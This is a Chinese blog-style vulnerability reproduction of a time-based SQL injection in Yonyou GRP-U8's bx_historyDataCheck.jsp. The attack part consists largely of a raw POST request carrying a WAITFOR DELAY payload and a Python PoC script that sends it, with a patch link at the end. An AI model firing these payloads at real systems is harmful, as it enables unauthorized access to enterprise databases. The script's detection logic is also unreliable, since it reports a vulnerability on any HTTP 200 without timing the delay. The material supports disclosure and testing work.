用友GRP-U8 SQL注入漏洞复现

声明
本文仅用于技术交流,请勿用于非法用途
由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,文章作者不为此承担任何责任。

一、产品介绍

        成长型企业平台,以全新URP为平台,应对中型及成长型企业客户群的发展,用友U8为成长型企业提供了互联网应用模式,包括营销服务一体化、完整闭环O2O、供应链协同、设计制造一体化、精益生产、精细管控、人力资源、办公协同、移动应用、大数据分析、社交化协同和云服务,覆盖了企业的全业务。  

二、漏洞描述

        在用友GRP-U8的bx_historyDataCheck jsp 存在SQL注入漏洞,由于用友GRP-U8未对用户的输入进行有效的过滤,直接将其拼接进了SQL查询语句中,导致系统出现SQL注入漏洞。本次漏洞主要是对查询语句后拼接的入参注入特定变量值,非法获取数据或对数据库服务器产生影响,存在一定的安全隐患。

三、影响版本

用友GRP-U8R10 U8Manager B、C、G 系列产品 < 20230905

四、漏洞复现

1.访问漏洞环境

用友GRP-U8 SQL注入漏洞复现_第1张图片

2.POC (POST)

        POST请求,延时注入


POST /u8qx/bx_historyDataCheck.jsp HTTP/1.1
Host: xxxxxxxxxxxx
User-Agent: Go-http-client/1.1
Content-Length: 84
Content-Type: application/x-www-form-urlencoded
Cookie: JSESSIONID=5FF34252A52D49B94A560C18AB894656
Accept-Encoding: gzip

userName=';WAITFOR DELAY '0:0:6'--&class.module.classLoader.DefaultAssertionStatus=

执行poc

用友GRP-U8 SQL注入漏洞复现_第2张图片

用python编写一个poc

import re
import requests

url = 'http://替换部分/u8qx/bx_historyDataCheck.jsp'

headers = {
    'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/115.0',
    'Accept-Encoding': 'gzip, deflate',
    'Content-Type': 'application/x-www-form-urlencoded',
    'Content-Length': '59',
    'Connection': 'close'
}

data = {
    "userName":"1';WAITFOR%20DELAY%20'0:0:6'--+&ysnd=&historyFlag="
}

response = requests.post(url, headers=headers, data=data)

print('Status Code:', response.status_code)
if response.status_code ==200:
    print('存在用友GRP-U8 SQL注入漏洞,请尽快修复漏洞!!!')
else:
    print('漏洞不存在。')

运行结果如图

用友GRP-U8 SQL注入漏洞复现_第3张图片

 五、修复建议

目前厂商已发布升级补丁以修复漏洞,补丁获取链接:

https://security.yonyou.com/#/patchInfo?foreignKey=77e7e13f32754da9a5be93a9bfbb3f4c

你可能感兴趣的:(漏洞复现,安全,sql,数据库,python,网络安全)